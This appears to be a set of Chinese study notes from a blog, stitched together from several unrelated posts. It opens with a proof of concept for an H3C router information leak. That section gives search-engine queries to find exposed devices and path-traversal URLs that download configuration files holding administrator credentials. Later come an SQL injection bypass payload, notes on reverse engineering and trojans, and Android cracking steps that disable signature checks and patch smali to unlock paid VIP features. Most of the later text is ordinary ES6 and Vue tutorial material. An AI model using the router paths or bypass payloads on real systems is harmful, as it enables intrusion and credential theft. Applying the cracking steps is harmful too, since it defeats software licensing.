H3C路由器多系列存在信息泄露漏洞，攻击者可以利用该漏洞获取备份文件中的管理员账户及密码等敏感信息

查询语法

fofa：app=”H3C Router Management”
hunter-query：app.name=”H3C Router Management”

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg

数据包

1
2
3
4
5
6
7
8

GET /ER3200G2.cfg HTTP/1.1
Host: 
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Tue Jan 20 22:33:08 1970

修复建议

1. 不影响业务或功能的情况下删除或禁止访问泄露敏感信息页面。
2. 在服务器端对相关敏感信息进行模糊化处理。
3. 对服务器端返回的数据进行严格的检查，满足查询数据与页面显示数据一致。

win逆向

工具包：https://pan.baidu.com/s/1adD0trfqKMNx_iZpECljWA?pwd=niwd#list/path=%2F

辨析架构

x32
x64

数据存放位置

内存—->内存条—>显卡（显存）

标题修改，汉化

PE+OD修改标题（32位）

以御剑为例：

将.exe加载到OD
左下角，内存窗口 搜索 鼠标右键 文本 查找 二进制字符串 二进制编辑 选中 复制到可执行文件 鼠标右键 保存文件

CE（搜地址）+OD（保存文件）（32位）

CE打开进程，调整数值类型为字符串，区分大小写，可写变成方块

修改

拿到地址值在OD中查找，左下角，右键，转到，表达式，输入，选中 复制到可执行文件 鼠标右键 保存文件

x64dbg（64位）

cpu、内存布局、引用
在搜索结果中测试，创可贴，补丁，修补文件，保存



二进制编辑

1.原理

SQL注入是一种常见的安全漏洞，它允许攻击者通过在应用程序的输入字段中插入恶意的SQL代码来执行未经授权的数据库操作。SQL注入的原理是利用应用程序对用户输入数据的不正确处理，使得攻击者能够向数据库发送恶意的SQL查询，从而绕过应用程序的访问控制并访问、修改或删除数据库中的数据。

以下是SQL注入的一般工作原理：

• 用户输入数据的不正确处理：应用程序未正确过滤或转义用户输入的数据，将用户输入直接拼接到SQL查询中，而不是使用参数化查询或其他安全的方式来处理输入数据。
• 构造恶意的SQL查询：攻击者利用应用程序的漏洞，向输入字段中插入恶意的SQL代码。这可以是通过表单输入、URL参数、Cookie等方式注入恶意代码。
• SQL查询的执行：一旦恶意SQL代码被插入到查询中，应用程序会将整个SQL查询发送到数据库服务器执行，包括攻击者注入的恶意部分。
• 数据库执行恶意代码：数据库服务器执行了恶意注入的SQL代码，这可能导致数据库泄露敏感数据、修改数据、删除数据，甚至完全控制数据库服务器。
• 攻击者获取数据或控制：通过成功的SQL注入攻击，攻击者可以获取敏感数据，如用户凭证、个人信息，或者控制数据库服务器执行任意操作

SQL注入的诱因

特殊函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

addslashes() # 将单引号转义了，在单引号前面加了个\
htmlspecialchars() # 将特殊符号转换为html实体编码，处理xss漏洞的一个防御函数
str_replace() #  将单引号替换成\加上单引号
intval() # 将其中的字符给去掉
is_numeric() 
urldecode()
// ,if(1=1,sleep(1),0)
// and(if(1=1,sleeep(1),0))
// BY id {asc,if(1=1,sleep(1),1)};
// 预编译

include_once('./common.php');

try{
    $name = $_GET['name'];

    $query = "SELECT name, age, email, country FROM user_details where name = ?;";
    echo $query."<br>";
    // 
    $stmt = $conn->prepare($query); 
    $stmt->bindValue("name", $name);

    $stmt->execute();
    $stmt->bind_result($name, $age,$email,$country);

    while ($stmt->fetch()){
        echo "$email"."<br>";
    }

} catch (PDOException $e) {
    echo $e->getMessage();
}
-------------------------------------------------------------------------------
$name = addslashes($_GET['name']);
$name  = urldecode($name);
// ' ==> %27 #单次url编码   因为浏览器会自动解码一次
SELECT name, age, email, country FROM user_details where name = '{一号%25%32%37 union select 1,2,user(),4 %23}';

基本概念

木马病毒是计算机黑客用于远程控制计算机的程序，将控制程序寄生于被控制的计算机系统中，里应外合，对被感染木马病毒的计算机实施操作。一般的木马病毒程序主要是寻找计算机后门，伺机窃取被控计算机中的密码和重要文件等。可以对被控计算机实施监控、资料修改等非法操作。木马病毒具有很强的隐蔽性，可以根据黑客意图突然发起攻击

计算机木马病毒是指隐藏在正常程序中的一段具有特殊功能的恶意代码，是具备破坏和删除文件、发送密码、记录键盘和攻击Dos等特殊功能的后门程序。

原理

木马病毒通常是基于计算机网络的，是基于客户端和服务端的通信、监控程序。客户端的程序用于黑客远程控制，可以发出控制命令，接收服务端传来的信息。服务端程序运行在被控计算机上，一般隐藏在被控计算机中，可以接收客户端发来的命令并执行，将客户端需要的信息发回，也就是常说的木马程序。

种类

1. 网游木马
2. 网银木马
3. 下载类
4. 代理类
5. FTP木马

6. 通讯软件类

   • 发送消息型
   • 盗号型
   • 传播自身型

7. 网页点击类

特征

隐蔽性、欺骗性、顽固性、危害性

传播方式

木马病毒的传播方式比较多，主要有：
（1）利用下载进行传播，在下载的过程中进入程序，当下载完毕打开文件就将病毒植入到电脑中；
（2）利用系统漏洞进行传播，当计算机存在漏洞，就成为木马病毒攻击的对象；
（3）利用邮件进行传播，很多陌生邮件里面就掺杂了病毒种子，一旦邮件被打开，病毒就被激活；
（4）利用远程连接进行传播；
（5）利用网页进行传播，在浏览网页时会经常出现很多跳出来的页面，这种页面就是病毒驻扎的地方；
（6）利用蠕虫病毒进行传播等。

伪装方式

修改图标、捆绑文件、出错显示、定制端口、自我销毁、木马更名

木马防范

检测和寻找木马隐藏的位置、防范端口、删除可疑程序、安装防火墙、健全网站和网络游戏的管理、防范意识

云沙箱木马检测

微步

动态行为检测、威胁情报检测、多引擎检测、云文件检测、定制化检测，

奇安信

样本分析

https://www.52pojie.cn/forum-32-2.html

msf生成的木马分析

样本信息：
文件: C:\ts4yqj4\1709112706.exe
大小: 194048 bytes
修改时间: 2024/03/20
MD5: b05eee61f528fe95b812edc6b9c89978
SHA1: bff4d76f63588b89c778f34c839b640b75aecc53
CRC32: 5016C0EE

1.查壳
工具：detect it easy

2.IDA进行分析
IDA下载地址：https://down.52pojie.cn/Tools/Disassemblers/IDA_Pro_v8.3_Portable.zip

逆向CS生成exe木马

cs生产后门


CS生成的exe其实是一个loder，也就是加载器，加载器加载里面的shellcode来运行主要功能，所以我们进行逆向分析的时候也分成两个步骤：外层loder分析和内层shellcode分析。、
1.外层loder分析
查壳

无壳。接下来扔进IDA进行静态分析。

main函数这里调用了两个函数之后调用了一个Sleep，跟进27F0发现没什么东西，我们直接看1840

app逆向

环境安装

Magisk

安装包：https://www.123pan.com/s/6zyrVv-kxor3.html

Magisk 是一套用于定制 Android 的开源软件，支持高于 Android 5.0 的设备。

以下是一些功能亮点：

• MagiskSU：为应用程序提供 root 访问权限
• Magisk 模块：通过安装模块修改只读分区
• MagiskHide：从根检测 / 系统完整性检查中隐藏 Magisk(Shamiko)
• MagiskBoot : 最完整的安卓启动镜像解包和重新打包工具

LSPosed

安装包https://www.123pan.com/s/6zyrVv-kxor3.html

1.模拟器打开电脑共享文件夹，将LSPosed拖进去，返回Masisk点击模块


2.安装模块，重启模拟器

初识APK文件结构、双开、汉化、基础修

文件结构

apk 全称 Android Package，它相当于一个压缩文件，只要在电脑上将apk后缀改为zip即可解压。

应用双开原理

双开：简单来说，就是手机同时运行两个或多个相同的应用，例如同时运行两个微信

反编译工具MT：
下载地址：https://pan.baidu.com/s/1cFWTLn14jeWfpXxlx3syYw?pwd=nqu9#list/path=%2F
反编译工具NP：
下载地址：https://pan.quark.cn/s/b787f4b2430d#/list/share/4d0fc36179b44457901685bef40abb47-14663

1.双开

通过修改包名达到双开

【VirtualAPP 双开系列08】如何实现多开 - UID
https://blog.csdn.net/u014294681/article/details/116270479

汉化

测试

xml

回到MT,查看

搜索，高级搜索

点击反编译

翻译后重新安装

保存修改后，签名会发生变化，导致安装不成功

关闭签名校验，还是不行，（这里需要核心破解）

卸载掉原来的app在安装

Arsc

使用开发者助手进行识别翻译

回到MT搜索

选择翻译模式

点第一个

修改

dex

搜索到后进行修改

保存并退出

安装启动

AndroidManifest.xml

AndroidManifest.xml文件是整个应用程序的信息描述文件，定义了应用程序中包含的Activity,Service,Content provider和BroadcastReceiver组件信息。每个应用程序在根目录下必须包含一个AndroidManifest.xml文件，且文件名不能修改。它描述了package中暴露的组件，他们各自的实现类，各种能被处理的数据和启动位置。

使用NP修改图标，名字等

将图标复制到共享文件夹

修改

smali，vip终结者

1.了解JVM、Dalvik、ART
2.初识smali语法
3.修改smali

工具

MT/NP

jadx-gui

1. 下载地址：https://download.fastgit.org/skylot/jadx/releases/download/v1.2.0/jadx-gui-1.2.0-with-jre-win.zip
   
   

2. 打开.apk反编译
   

核心破解

1. 安装核心破解并激活
   
   
2. JVM、Dalvik、ART

• JVM是JAVA虚拟机，运行JAVA字节码程序
• Dalvik是Google专门为Android设计的一个虚拟机，Dalvik有专属的文件执行格式dex(Dalvik executable)
• Art(Android Runtime)相当于Dalvik的升级版，本质与Dalvik无异

1. smali及其语法
   smali是Dalvik的寄存器语言，smali代码是dex反编译而来的。
   
   数据类型对应
   
   常用指令
   
   修改方法：修改判断、强制跳转、修改寄存器的值
   
2. 寄存器
   在smali里的所有操作都必须经过寄存器来进行:本地寄存器用v开头数字结尾的符号来表示，如v0、 v1、v2。 参数寄存器则使用p开头数字结尾的符号来表示，如p0、p1、p2。特别注意的是，p0不一定是函数中的第一个参数，在非static函数中，p0代指“this”，p1表示函数的第一个 参数，p2代表函数中的第二个参数。而在static函数中p0才对应第一个参数(因为Java的static方法中没有this方法)
3. demo测试
   需要会员
   
   反编译，搜索关键词（大会员），这里需要注意如果识别不了就将中文编译成unicode码
   
   

对于开发者而言，在打包应用时，最好对代码进行混淆，否则逆向人员轻而易举得进行Crack，或者说在写代码的时候就不要用isvip、getvip等易辨识的单词作为方法名

ECMA（European computer manufactures association，欧洲计算机制造联合会）

var

1. 全局作用
2. 变量提升

let

1. 变量不能重复声明
2. 块级作用域
3. 不存在变量提升
4. 不影响作用域链

const

1. 声明常量（不能重复）
2. 必须初始化
3. 不能修改
4. 块级作用域
5. 常量数组可修改

解构赋值

可以是数组，对象

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

const arr = [1, 2, 3] let [a, b, c] = arr console.log(a, b); const p = { name: '张三', age: 10, run: function () { console.log('run run run'); } } let { name, age, run } = p console.log(name) run();

模板字符串

1. ``,反引号
2. 可换行
3. 变量拼接

对象的简化写法

1
2
3
4
5
6
7
8
9
10
11
12
13
14

let name = '张三'
let change = function () {
    console.log('change change');
}

let obj = {
    name,
    change,
    running() {
        console.log('running');
    }
}
console.log(obj);
obj.change()

箭头函数

1. this的静态属性，永远指向windows
2. 不能作为构造函数实例化对象
3. 不能使用arguments参数列表
4. 简写

   1 2 3 4 5 6 7

   // 简写 function pow(n){ return n*n } // let pow = n => n * n console.log(pow(9));

5. 适合于this无关的调用，如定时器，数组的方法回调
6. 不适合与this有关的调用，事件回调，对象方法

rest参数

必须要方法参数最后

1
2
3
4
5
6
7
8
9
10

 function fn1() {
    console.log(arguments);
}
fn1(12, 3, 3, 4, 5)


function fn2(...args) {
    console.log(args);
}
fn2(1, 2, 3, 4)

扩展运算符[…]

1. 数组合并
2. 数组克隆
3. 将伪数组变为真正的数组

   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23

   let arr = [1, 2, 3, 4] function fn() { console.log(arguments); } fn(arr) fn(...arr) // 数组合并 let arr1 = ['abc', 'def', 'ghi'] let arr2 = ['jkl', 'mno'] let res1 = arr1.concat(arr2) let res2 = [...arr1, ...arr2] console.log(res1); console.log(res2); // 数组克隆 const color = ['R', 'G', 'B', 'A'] const c = [...color] console.log(c); // 将伪数组变为真正的数组 let divs = document.querySelectorAll('div') console.log(divs); let divArr = [...divs] console.log(divArr);

Symbol

1. 表示独一无二的值，它是JavaScript中的第七种数据类型(其余数据类型：USONB—->you are so NB，对，就是你狠牛逼😄，相信聪明的你一定想出来了u:undefined,s:string,o:object,n:null、number,b:boolean)，是一种类似于字符串的数据类型
2. 值唯一，解决命名冲突
3. 不能与其他数据进行运算
4. 定义的对象属性不能用for…in遍历，但是可以使用Reflect.ownKeys来获取对象的所有属性
   MDN

迭代器

for...of

1. 创建一个指针对象，指向当前数据结构的起始位置
2. 第一次调用next方法指针自动指向数据结构的第一个成员
3. 接下来不断调用next方法，指针一直后移，直到指向最后一个成员
4. 每调用next方法返回一个包含value和done属性对象

1
2
3
4
5
6
7
8
9
10
11

let arr = [1, 2, 3, 4]

for (let item of arr) {
    console.log(item);
}
let iter = arr[Symbol.iterator]()
console.log(iter.next());
console.log(iter.next());
console.log(iter.next());
console.log(iter.next());
console.log(iter.next());

1. 对象不可遍历，给对象加迭代器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

let obj = {
        name: '一班',
        stus: [1, 2, 3, 34, 4, 5],
        // 因为对象没用迭代器，所以造一个
        [Symbol.iterator]() {
            let index = 0
            let _this = this
            return {
                next: function () {
                    if (index < _this.stus.length) {
                        index++
                        return { value: _this.stus[index], done: false }
                    } else {
                        return { value: undefined, done: true }
                    }
                }
            }

        }
    }
    // 遍历对象中的数组
    for (let v of obj) {
        console.log(v);
    }

生成器

一个特殊的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

// 一个特殊的函数
// 异步编程 ajax,node,fs
/* function* gen() {
    console.log('哈哈哈');
}
console.log(gen().next()); */
function* gen() {
    // yield函数代码的分割符
    yield 1
    console.log(111);

    yield 2
    console.log(222);

    yield 3
    console.log(333);
}
let iter = gen()
console.log(iter.next());
console.log(iter.next());
console.log(iter.next());
console.log(iter.next());

for (let v of gen()) {
    console.log(v);
}

Promise

set

let s=new Set()

1. 元素个数：size
2. 添加：add()
3. 删除：delete()
4. 检测：xxx.has('xxx')
5. 清空：xxx.clear()
6. 遍历：for(let v of xxx)
7. 数组去重，交集，并集，差集

map

let m=new Map()

1. m.set(key,value) key可以是对象，value可以是数组或者函数
2. m.get(key)
3. m.size
4. m.delete(key)
5. m.clear()
6. for(let v of m){}

class

http://javascript.ruanyifeng.com/oop/prototype.html#toc4

1. 静态成员或静态方法用static修饰
2. 继承通过super()关键字
3. gettter()和setter()

数值

1. 精度问题（0.1+0.2）
2. 进制（0b,0o,0d,0x）
3. isNaN()
4. parseInt()
5. parseFloat()
6. Number.isInteger()
7. Math.trunc() 抹掉小数
8. Math.sign() 放回 1 0 -1 分别表示1 0 -1

对象方法

1. Object.is(val1,val2) 判断两个值是否完全相等
2. Object.assign() 对象的合并
3. Object.setPrototypeOf() 设置原型对象

模块化

1. 防止命名冲突
2. 代码复用
3. 高维护性

export

对外接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

// 分别暴露(m1.js)
export const name='张三'

export function test(){
    console.log('test模块化');
}

// 同一暴露(m2.js)
const name = '张三'

function test() {
    console.log('test模块化');
}

export {
    name,
    test
}

// 默认暴露(m3.js)
export default {
    school: '清华',
    change: function () {
        console.log('chage');
    }
}

import

1
2
3
4
5
6
7

// 通用导入（导入全部）
import * as m1 from 'm1.js'
// 机构赋值（分别暴露）
import { name, test } from 'm2.js'
import {default as m3} from 'm3.js'
// 简便形式
import m3 from 'm3.js'

ES7新特性

1. 判断数组中有没有子项
   • indexOf:返回索引，存在返回第一次出现的索引，不存在返回-1
   • includes:true or false

async

1. 返回结果为pormise对象
2. 返回结果为promise

   1 2 3 4 5 6 7 8 9 10 11

   async function test(){ /* return 111; return 'xxx'; throw new Error('xxx') */ return new Promise((resolve,reject){ resolve('成功') // reject('失败') }) }

await

1. 必须和async一起使用
2. await右侧表达式一般为pormise对象
3. await返回成功后的值
4. 失败就会抛出异常，需用try…catch捕获

async和await结合读取文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

const fs = require('fs')
const path = require('path')

function readFile01() {

    return new Promise((resolve, reject) => {
        fs.readFile(path.join(__dirname, '../files/001.txt'), 'utf-8', (err, data) => {
            if (err) reject(err)
            resolve(data)
        })
    })
}

function readFile02() {

    return new Promise((resolve, reject) => {
        fs.readFile(path.join(__dirname, '../files/002.txt'), 'utf-8', (err, data) => {
            if (err) reject(err)
            resolve(data)
        })
    })
}

function readFile03() {

    return new Promise((resolve, reject) => {
        fs.readFile(path.join(__dirname, '../files/003.txt'), 'utf-8', (err, data) => {
            if (err) reject(err)
            resolve(data)
        })
    })
}

async function getData() {
    let data1 = await readFile01()
    let data2 = await readFile02()
    let data3 = await readFile03()
    console.log(data1);
    console.log(data2);
    console.log(data3);
}

getData()

• ES6语法规范
• ES6模块化
• 包管理
• 原型、原型链
• 数组
• axios
• promise

组件化开发

数据—->虚拟DOM—>真实DOM

Vue模板语法

1. 插值：{{}}

2. 指令:

   • v-bind，单向绑定
   • v-mode，用于表单，双向绑定

3. el和data的两种写法

   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30

   // el new Vue({ el: "#app", data: { value: 123 } }) new Vue({ data: { value: 123 } }).$mount('#app') //data new Vue({ el: "#app", data: { value: 123 } }) new Vue({ el: "#app", data(){ return{ value:123 } } })

MVVM

View ViewModel model
DOM

数据代理

通过一个对象代理对另一个对象中属性的操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

<script>
       let num = 10
       let obj = {
           name: 'lang',
           add: '兰州'
       }
       Object.defineProperty(obj, 'age', {
           // value: 18,
           // enumerable: true, // 控制属性可枚举，可遍历
           // writable: true, // 可修
           // configurable: true, // 控制是否可被删除
           get() {
               return num
           },
           set(value) {
               num = value
           }


       })
       console.log(Object.keys(obj));

       /* for (key in obj) {
           console.log(obj[key]);
       } */
       console.log(obj);
   </script>

事件

@click
@scroll 滚动条
@wheel 滚轮 @wheel.passive 阻止回调函数，让默认行为先执行

事件修饰符

prevent stop once capture self passive

键盘事件

enter deleter esc space tab up down left right配和keyup
ctrl alt shift meta配合keydown

1

<input type="text" placeholder="请输入" name="" id="" @keyup.right="showInfo">

计算属性

可被缓存、直接读取相当于属性

监视属性

1
2
3
4
5
6
7
8
9
10
11

<script>
 watch: {
    info: {
        immediate: true, // 立即执行
        deep:true,// 深度监视
        handler(newVal, oldVal) {
            console.log(newVal, oldVal);
        }
    }
}
</script>

Style样式

1. class
   :class="xxx",xxx可以是字符串，对象数组
2. style
   :style="{}",:style="[]"

条件渲染

v-if: 销毁和创建,文档中不存在
v-show:调整display:none/block，还存在于文档中
变化频繁使用v-show

template 不会被渲染，但是能配合v-if

1
2
3
4
5

<template v-if="">
    <h2></h2>
    <h2></h2>
    <h2></h2>
</template>

v-for key

可遍历数组，对象，字符串，范围（0-10）

如果值是展示类表则可以用index作为:key
如果用输入框，删除等操作，则必须要用唯一标识

响应式 Vue.set()

Vue会监视data中所有层的数据

vue2的响应式是通过object.defineproperty实现的，JavaScript对象传入vue实例时，vue会遍历对象的所有property，并通过object.defineproperty把这些property转化为getter和setter，数据发生变化时，就会触发视图的更新；不过这种方式有点缺陷，就是不能监测到对象属性的添加和删除，因此需要用vue.set()来添加和删除。并且也不能监听数组的变化后添加的数据做响应式

vue.set(target,key,val)方法target不能是Vue实例，或者Vue实例对象的根数据对象
Vue.set(target,key,val),vm.$set(target,key,val)

过滤器

不会改变原始数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

// 局部
filters: {
    timeFormat(value, str = 'YYYY-MM-DD HH:mm:ss') {
        return dayjs(value).format(str)
    },
    /* mySlice(value) {
        // 1970 - 07 - 27 10: 33: 59
        return value.slice(0, 4)
    } */
}

// 全局过滤器

Vue.filter('mySlice', function (value) {
    return value.slice(0, 4)
})

指令梳理

v-bind
v-model
v-for
v-if>
v-else-if
v-else
v-show

v-text

会替换标签中的所有内容

v-html

1. 可识别html结构
2. 在网站上动态渲染html是非常危险的，容易造成XSS攻击
3. 不要在用户提交的内容上渲染

v-clock

1
2
3
4
5
6

<style>
    [v-clock]{
        display:none
    }
</style>
<h2 v-clock>{{name}}</h2>

v-once

初次动态渲染后就会成为静态内容了

v-pre

跳过器所在结点编译过程，跳过没有指令语法的标签

自定义指令

1
2
3
4
5
6
7

directives:{
   big(element, bingding) {
       console.log(element)
       console.log(bingding);
       element.innerHTML = bingding.value * 10
   }
}

big函数何时会被调用？指令与元素成功绑定时，指令所在的模板被重新解析时

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

<input type="text" name="" id="" v-fbind="num">

<script>
    new Vue({
        el:'xxx',
        data:{},
        fbind: {
            // 指令与元素成功绑定(页面一上来)
            bind(element, binding) {
                element.value = binding.value
                console.log('bind');
            },
            // 指令所在页面被插入页面
            inserted(element, binding) {
                element.focus()
                console.log('inserted');
            },
            // 指令所在模板被重新解析
            update(element, binding) {
                element.value = binding.value
                console.log('updated');
            },
        }
    })
</script>

注意：自定义指令里面的this指向windows

全局指令

1
2
3
4
5
6
7
8
9
10
11

<p><span v-big="num"></span></p>

<script>
    Vue.directive('big', function (element, binding) {
        element.innerHTML = binding.value * 10
    })
    new Vue({
        el:'xxx',
        data:{},
    })
</script>

生命周期

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53

<script>
new Vue({
        el: "#app",
        data: {
            num: 1,

        },
        methods: {
            add() {
                console.log('add');
                this.num++
            },
            bye() {
                console.log('bye');
                this.$destroy()
            }
        },
        watch: {
            num() {
                console.log('num变了');
            }
        },

        beforeCreate() {
            console.log('beforeCreate', 'num', this.num);
        },
        created() {
            console.log("created", 'num', this.num);
        },
        beforeMount() {
            console.log('beforeMount', "num", this.num);
        },
        mounted() {
            console.log('mounted', "num", this.num);
        },
        beforeUpdate() {
            console.log(this);
            console.log('beforeUpdate，更新数据，不更新dom');
        },
        updated() {
            console.log(this);
            console.log('updated,更新数据和dom');
        },
        beforeDestroy() {
            this.add() // 可调用，但不可执行
            console.log('beforeDestroy', 'num', this.num);
        },
        destroyed() {
            console.log('destroyed', 'num', this.num);
        },

    })
</script>

常用生命周期钩子

1. mounted:发送ajax请求、启动定时器、绑定自定义事件、订阅消息

2. beforeDestroy: 清除定时器、解绑自定义事件、取消订阅【收尾工作】

3. 关于销毁vue实例

   • 销毁后借助vue开发者工具看不到任何消息
   • 销毁后自定义事件会失效，但原生dom事件依然存在
   • 一般不会再 beforeDestroy 操作数据，因为即便操作数据，也不会触发更新流程

组件化

非单页面组件

使用Vue.extend(options)创建组件
data必须写为函数——-避免组件被复用时，数据存在引用关系
使用template可配置组件的结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79

<body>
    <div id="app">
        <!--3. 引用组件 -->
        <hello></hello>
        <school></school>
        <hr>
        <student></student>
        <hr>
        <student></student>
        <hr>
    </div>
    <div id="app2">
        <hello></hello>
    </div>


    <script src="../../../js/vue.js"></script>
    <script>
        // 1.创建组件
        const school = Vue.extend({
            template: `
            <div>
                <h3>schoolname:{{name}}</h3>
                <h3>address:{{addr}}</h3>
            </div>
            
            `,
            data() {
                return {
                    name: '清华',
                    addr: '北京'
                }
            }
        })

        const student = Vue.extend({
            template: `
                <div>
                    <h3>name:{{name}}</h3>
                    <h3>address:{{age}}</h3>
                </div>
            `,
            data() {
                return {
                    name: '张三',
                    age: 19
                }
            }
        })

        const hello = Vue.extend({
            template: `
                <div>
                    <h1>hello,{{name}}</h1>
                </div>
            `,
            data() {
                return {
                    name: 'Tom'
                }
            },
        })

        // 将hello注册为全局组件
        Vue.component('hello', hello)
        new Vue({
            el: '#app',
            // 2.注册组件
            components: {
                school,
                student
            }
        })

        new Vue({
            el: '#app2'
        })
    </script>
</body>

组件的嵌套

VueComponent

1. 组件中的this指向VueComponent实例对象
2. new Vue(options)中的this指向Vue实例对象

内置关系

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

<script>

    Vue.prototype.a = 18

    const demo = Vue.extend({
        template: `
            <div>
                <h2>{{msg}}</h2>
            </div>
        `,
        data() {
            return {
                msg: 'demo'
            }
        },
        mounted() {
            console.log(this.a); // VueComponent(prototype)--->Vue(prototype)---->Object(prototype.a)
        },
    })
    // 定义一各构造函数
    function Demo() {
        this.a = 1
        this.b = 2
    }
    console.log(Demo.prototype);  // 显示原型属性
    // 创建实例对象
    let d = new Demo()
    console.log(d.__proto__);   // 隐式原型属性
    console.log(Demo.prototype === d.__proto__);
    Demo.prototype.x = 100
    console.log(d);
    console.log(d.x);
</script>

VueComponent.prototype.__proto__==Vue.prototype

单文件组件

Vue-cli(command line interface—命令行结构工具) 脚手架

vue.js:是完整版Vue，包括核心功能+模板解析器
vue.runtime.xxx.js：运行时的Vue,只包含核心功能

render渲染函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

<script>
    /* 
      项目的入口文件
    */
    // 精简版vue配合render函数使用
    import Vue from 'vue'
    // 引入根组件
    import App from './App.vue'
    // 关闭生产提示
    Vue.config.productionTip = false

    // 创建Vue实例vm
    // 1.import Vue from 'vue'
    /* new Vue({
        el: "#app",
        render(h) {
            return h('h1', '你好')
        },
    })
    */

    //2.import Vue from 'vue'
    /* new Vue({
        el: "#app",
        render(h) {
            return h(App)
        },
    })
    */

    // 3. 需要引入完成版vue,含有模板解析器
    /* import Vue from 'vue/dist/vue'
        new Vue({
        el: "#app",
        template: `<App></App>`,
        components: { App },
    }) */

    // 4. import Vue from 'vue'
    new Vue({
        render: h => h(App)
    }).$mount('#app')

</script>

配置文件，输出配置文件

输出配置文件：vue inspect > output.js
配置文件

ref属性

1. 被用来给元素或子组件注册引用信息（id的替代者）
2. 应用在html标签上获取doc元素，应用在组件上获取实例对象（VueComponent）
3. 使用：<p ref="xxx"></p>,this.$refs.xxx

props

1. 父向子传值
2. 只读（不能修改，若业务需要修改，那么复制一份到data中，让后修改data中的数据）

   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22

   <script> // 1.简单传值，只做接受 props: ['name', 'age'], // 2. 限制类型 props: { name: String, age: Number }, // 3. 限制类型，限制必要性，指定默认值 props: { name: { type: String, required: true }, age: { type: Number, default: 99 // 默认值 } }, </script>

mixin(混入)

1. 可以把多个组件的共用配置提取在一个混入对象中
2. 定义

   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17

   export const mixin = { data() { return { x: 10, y: 20 } }, methods: { showName() { alert(this.name) } }, mounted() { console.log(888888); }, }

3. 使用
   • 全局引入：Vue.mixin(xxx)
   • 局部引入：mixins:[xxx,xxx]

插件

1. plugins.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

export default {
    install(Vue, x, y) {
        console.log(x, y);
        // 过滤器
        Vue.filter('mySlice', function (value) {
            return value.slice(0, 4)
        })
        // 自定义指令
        Vue.directive('fbind', {

            // 指令与元素成功绑定(页面一上来)
            bind(element, binding) {
                element.value = binding.value

            },
            // 指令所在页面被插入页面
            inserted(element, binding) {
                element.focus()
            },
            // 指令所在模板被重新解析
            update(element, binding) {
                element.value = binding.value
                console.log('updated');
            },

        })

        // 混入
        Vue.mixin({
            data() {
                return {
                    x: 10,
                    y: 20
                }
            },
        })

        // 
        Vue.prototype.hello = () => {
            alert(666)
        }
    }
}

1. main.js

1
2
3

import Vue from "vue";
import plugins from "./plugins";
Vue.use(plugins,1,2)

scoped 样式

让样式局部生效，<style scoped>

todoList案例

